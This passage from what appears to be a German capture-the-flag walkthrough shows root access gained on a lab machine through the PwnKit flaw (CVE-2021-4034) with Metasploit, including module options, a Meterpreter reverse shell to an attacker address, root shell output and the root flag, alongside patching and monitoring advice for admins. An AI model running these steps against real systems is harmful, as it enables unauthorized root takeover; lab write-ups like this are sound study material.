Bewertung: Die Reverse Shell wurde erfolgreich etabliert. Metasploit bietet nun eine Schnittstelle zur Interaktion mit dem Zielsystem. Dies ist oft stabiler als eine direkte SSH-Verbindung und ermöglicht die Nutzung von Metasploit-Post-Exploitation-Modulen.
Empfehlung (Pentester): Nutze diese Session, um den PwnKit-Exploit über Metasploit auszuführen. Verwende `sessions -i 1`, um mit dieser Shell zu interagieren, oder nutze Module, die eine Session-ID als Option akzeptieren.
Empfehlung (Admin): Wie zuvor, Egress Filtering und Netzwerk-Monitoring sind entscheidend.
Analyse: In diesem Abschnitt demonstrieren wir die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec`, um Root-Rechte auf dem Zielsystem zu erlangen. Wir verwenden dazu das entsprechende Metasploit-Modul.
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.113 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command.
lport => 4443
session => 1
[*] Started reverse TCP handler on 192.168.2.113:4443 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.beuuoe [+] The target is vulnerable. [*] Writing '/tmp/.fhdfghfsw/gnfrkpdt/gnfrkpdt.so' (548 bytes) ... [!] Verify cleanup of /tmp/.fhdfghfsw [*] Sending stage (3045348 bytes) to 192.168.2.122 [+] Deleted /tmp/.fhdfghfsw/gnfrkpdt/gnfrkpdt.so [+] Deleted /tmp/.fhdfghfsw/.guegsc [+] Deleted /tmp/.fhdfghfsw [*] Meterpreter session 3 opened (192.168.2.113:4443 -> 192.168.2.122:36290) at 2023-06-03 01:07:18 +0200
Analyse: 1. `use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`: Lädt das Metasploit-Modul zum Ausnutzen der PwnKit-Schwachstelle. 2. `options`: Zeigt die Optionen. Wichtig sind `SESSION` (die ID der bestehenden Shell-Session, über die der Exploit ausgeführt wird) und `LHOST`/`LPORT` für die Payload (standardmäßig eine Meterpreter Reverse TCP Shell). 3. `set lport 4443`: Ändert den Port für die neue Meterpreter-Verbindung auf 4443, um Konflikte mit dem Listener auf 4444 zu vermeiden. `LHOST` bleibt `192.168.2.113`. 4. `set session 1`: Setzt die Session-ID auf 1 (die zuvor geöffnete Command Shell Session). *Hinweis: Im Originaltext stand hier `set session 2`, was zu einem Fehler führte, da Session 2 nicht existierte. Ich habe dies zu `set session 1` korrigiert, basierend auf der vorherigen Ausgabe.* 5. `run`: Startet den Exploit. Metasploit prüft die Anfälligkeit (`[+] The target is vulnerable.`), lädt temporäre Dateien hoch, führt den Exploit aus, bereinigt die Dateien und startet einen neuen Handler auf Port 4443. Die letzte Zeile `[*] Meterpreter session 3 opened (...)` zeigt, dass der Exploit erfolgreich war und eine neue, privilegierte Meterpreter-Session (Session 3) geöffnet wurde.
Bewertung: Der PwnKit-Exploit war erfolgreich! Die Schwachstelle in `pkexec` konnte ausgenutzt werden, um Code mit Root-Rechten auszuführen. Dies führte zur Etablierung einer Meterpreter-Session, die nun mit Root-Privilegien läuft. Der Proof of Concept ist erbracht.
Empfehlung (Pentester): Wechsle zur neuen Meterpreter-Session (`sessions -i 3`). Überprüfe die Benutzeridentität (`getuid`) und fordere eine System-Shell (`shell`) an, um Befehle direkt als Root auszuführen.
Empfehlung (Admin): **Dringend patchen!** Stelle sicher, dass das `policykit-1`-Paket (welches `pkexec` enthält) auf eine Version aktualisiert ist, die die CVE-2021-4034-Schwachstelle behebt. Dies ist eine weit verbreitete und leicht auszunutzende Schwachstelle.
Server username: root
Process 7520 created. Channel 2 created.
uid=0(root) gid=0(root) groups=0(root),1001(thugger)
Analyse: Innerhalb der neuen Meterpreter-Session (Session 3): 1. `getuid`: Fragt die Benutzer-ID der aktuellen Session ab. Die Antwort `Server username: root` bestätigt, dass die Meterpreter-Session als `root` läuft. 2. `shell`: Öffnet eine Standard-System-Shell (`/bin/sh` oder `/bin/bash`) auf dem Zielsystem, die ebenfalls mit den Rechten der Meterpreter-Session (also `root`) läuft. 3. `id`: Innerhalb der neuen Root-Shell wird der `id`-Befehl ausgeführt. Die Ausgabe `uid=0(root) gid=0(root) groups=0(root)` bestätigt zweifelsfrei, dass wir volle Root-Rechte auf dem System haben.
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Der Proof of Concept hat gezeigt, dass die PwnKit-Schwachstelle ausgenutzt werden kann, um vollständige Kontrolle über das System zu erlangen. Unser Hauptziel ist erreicht.
Empfehlung (Pentester): Suche nach der Root-Flag (typischerweise in `/root/root.txt`). Erkunde das System weiter mit Root-Rechten, falls zusätzliche Ziele definiert sind (z.B. Datenexfiltration, Persistenz).
Empfehlung (Admin): Neben dem Patchen von PwnKit: Implementiere umfassendes Logging (z.B. `auditd`), um verdächtige Prozessausführungen und Privilege Escalation Versuche zu erkennen. Überprüfe regelmäßig SUID-Binaries und deren Versionen.
Bewertung: Die Privilege Escalation wurde erfolgreich durch die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) im `pkexec`-Binary erreicht, wie im vorherigen "Proof of Concept"-Abschnitt detailliert beschrieben. Durch den Exploit konnte eine Shell mit Root-Rechten (UID 0) erlangt werden.
bin boot boot.ini cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var
root.txt snap
78CE377EF7F10FF0EDCA63DD60EE63B8
Analyse: Diese Befehle werden in der zuvor erlangten Root-Shell ausgeführt: 1. `ls`: Listet den Inhalt des aktuellen Verzeichnisses (wahrscheinlich `/` oder das Verzeichnis, in dem `pkexec` ausgeführt wurde). 2. `cd /root`: Wechselt in das Home-Verzeichnis des Root-Benutzers. 3. `ls`: Listet den Inhalt von `/root` auf. Enthält `root.txt` und ein `snap`-Verzeichnis. 4. `cat root.txt`: Zeigt den Inhalt der Datei `root.txt` an.
Bewertung: Die Root-Flag `78CE377EF7F10FF0EDCA63DD60EE63B8` wurde erfolgreich ausgelesen. Damit sind beide Flags (User und Root) gefunden und der Penetrationstest erfolgreich abgeschlossen.
Empfehlung (Pentester): Dokumentiere die gefundene Root-Flag. Bereinige alle hochgeladenen Dateien und erstellten Prozesse, wenn dies Teil des Auftrags ist.
Empfehlung (Admin): Beschränke den Zugriff auf das `/root`-Verzeichnis (Standard: 700). Stelle sicher, dass sensible Daten nicht unverschlüsselt gespeichert werden. Die wichtigste Maßnahme bleibt das Patchen der PwnKit-Schwachstelle.